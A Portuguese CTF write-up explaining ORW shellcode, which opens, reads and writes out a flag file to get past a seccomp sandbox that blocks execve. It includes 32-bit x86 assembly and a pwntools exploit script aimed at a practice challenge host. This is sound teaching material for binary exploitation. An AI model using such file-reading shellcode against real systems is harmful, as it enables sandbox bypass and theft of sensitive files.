Exploração de Binários: Implementando Shellcode ORW para Bypass de Sandbox

Em diversos cenários de exploração de binários (CTFs), encontramos proteções de sandbox via seccomp que restringem as chamadas de sistema (syscalls) permitidas. Quando a syscall execve está bloqueada, não conseguimos obter uma shell direta. Nestes casos, utilizamos a técnica ORW, um acrônimo para Open, Read e Write.

A Lógica da Técnica ORW

O objetivo é ler um arquivo específico do servidor (geralmente nomeado como flag) seguindo três passos fundamentais:

  1. Open: Abrir o arquivo de destino para obter um descritor de arquivo (file descriptor - fd).
  2. Read: Ler o conteúdo desse arquivo para uma região da memória (buffer).
  3. Write: Escrever o conteúdo armazenado no buffer para a saída padrão (stdout), permitindo a visualização da flag.

Desenvolvimento do Shellcode em Assembly x86

Para arquiteturas i386 (32 bits), as syscalls são invocadas via int 0x80. O caminho do arquivo ./flag precisa ser colocado na stack. Como a stack cresce para baixo e os dados são lidos em Little Endian, devemos organizar os bytes cuidadosamente.

A string ./flag convertida para hexadecimal resulta em 2e2f666c6167. Para alinhar em blocos de 4 bytes, adicionamos bytes nulos (null bytes), resultando em 2e2f666c (./fl) e 61670000 (ag\0\0).

; Estrutura do Shellcode em Assembly
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

; Colocando a string "./flag" na stack
push 0x00006761    ; "ag\0\0"
push 0x6c662f2e    ; "lf/."

; 1. Syscall Open (eax = 5)
; fd = open(esp, 0, 0)
mov eax, 5
mov ebx, esp       ; Endereço da string na stack
mov ecx, 0         ; O_RDONLY
mov edx, 0
int 0x80

; 2. Syscall Read (eax = 3)
; read(fd, esp, 0x40)
mov ebx, eax       ; eax contém o fd retornado pelo open
mov eax, 3
mov ecx, esp       ; Buffer para armazenar o conteúdo
mov edx, 0x40      ; Quantidade de bytes a ler
int 0x80

; 3. Syscall Write (eax = 4)
; write(1, esp, 0x40)
mov eax, 4
mov ebx, 1         ; stdout
mov ecx, esp       ; Buffer com os dados lidos
mov edx, 0x40
int 0x80

Automação do Exploit com Pwntoosl

Abaixo, apresentamos um script em Python utilizando a biblioteca pwntools para automatizar o envio do shellcode e a captura da resposta do servidor.

from pwn import *

# Configurações de ambiente
context.update(arch='i386', os='linux', log_level='debug')

def disparar_exploit(alvo):
    # Recebe a mensagem inicial do binário
    print(alvo.recv().decode())

    # Construção do payload assembly
    codigo_asm = """
    /* Limpeza de registradores */
    xor eax, eax
    xor ebx, ebx
    
    /* Caminho: ./flag */
    push 0x00006761
    push 0x6c662f2e
    
    /* Invocação de Open */
    mov eax, 5
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    int 0x80
    
    /* Invocação de Read */
    mov ebx, eax
    mov eax, 3
    mov ecx, esp
    mov edx, 0x50
    int 0x80
    
    /* Invocação de Write */
    mov eax, 4
    mov ebx, 1
    mov ecx, esp
    mov edx, 0x50
    int 0x80
    """
    
    # Compilação e envio do shellcode
    payload = asm(codigo_asm)
    alvo.sendline(payload)
    
    # Transição para modo interativo para ver o resultado
    alvo.interactive()

if __name__ == "__main__":
    host_remoto = 'node5.buuoj.cn'
    porta_remota = 25178
    
    try:
        # Tenta conexão remota se argumentos forem passados, caso contrário, processo local
        if len(sys.argv) > 1:
            conexao = remote(host_remoto, porta_remota)
        else:
            conexao = process('./orw')
            
        disparar_exploit(conexao)
    except Exception as erro:
        print(f"Erro na execução: {erro}")

Considerações Técnicas e Depuração

Ao realizar testes locais, certifique-se de que o arquivo flag exista no mesmo diretório do binário. Em ambientes de depuração como o GDB, é comum observar falhas de segmentação se o shellcode tentar acessar áreas de memória protegidas ou se os registradores não forem devidamente limpos antes das operações.

A utilização do int 0x80 é específica para sistemas x86 de 32 bits. Em sistemas de 64 bits (x64), as syscalls seguem uma convenção de chamada diferente (utilizando a instrução syscall e registradores como rdi, rsi e rdx), e os números das syscalls para Open, Read e Write também mudam.

Tags: pwn shellcode x86-assembly pwntools CTF

Publicado em 6-27 23:29